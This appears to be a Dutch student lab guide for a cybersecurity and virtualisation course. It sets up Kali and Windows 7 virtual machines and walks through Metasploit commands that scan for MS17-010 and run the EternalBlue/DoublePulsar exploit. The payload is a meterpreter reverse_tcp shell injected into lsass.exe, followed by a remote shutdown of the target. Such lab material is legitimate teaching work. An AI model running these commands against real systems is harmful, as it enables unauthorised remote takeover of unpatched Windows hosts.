Tom Coenen  
Robin Verplancke  
TIAO

Cybersecurity & virtualisation

NPE

## Introductie

## Deployment

1. Installeer Virtualbox
2. Download VDI’s voor
   1. Kali:
   2. Windows: <https://1drv.ms/u/s!AogJDZBrZX0_zJALmPLn_sumFXD4ew?e=tDblwD>
3. Plaats beide VDI’s in de folder VDI.
4. Run het Setup.ps1 script.

## Exploit

1. Start metasploit
   * *msfconsole*
2. Scan for vulnerability
   * *use auxiliary/scanner/smb/smb\_ms17\_010*
   * *set RHOSTS <Windows IP>*
   * *run*
3. Exploit
   1. Configure payload
      1. *use payload/windows/x64/meterpreter/reverse\_tcp*
      2. *info*
      3. *set LHOST <Kali IP>*
   2. Configure Exploit
      1. *use exploit/windows/smb/eternalblue\_doublepulsar*
      2. *set payload payload/windows/x64/meterpreter/reverse\_tcp*
      3. *info*
      4. *set TARGET 8 (Windows 7)*
      5. *set RHOSTS <windows ip>*
      6. *set LHOST <kali ip>*
      7. *set TARGETARCHITECTURE x64*
      8. *set PROCESSINJECT lsass.exe*
      9. *set DOUBLEPULSARPATH /home/osboxes/EternalBlue/Eternalblue-Doublepulsar-Metasploit/deps/*
      10. *set ETERNALBLUEPATH /home/osboxes/EternalBlue/Eternalblue-Doublepulsar-Metasploit/deps/*
      11. *set WINEPATH /home/osboxes/.wine/drive\_c/*
   3. Run exploit
      1. *run*
   4. Shutdown Windows
      1. *shutdown /s*

## Bijlagen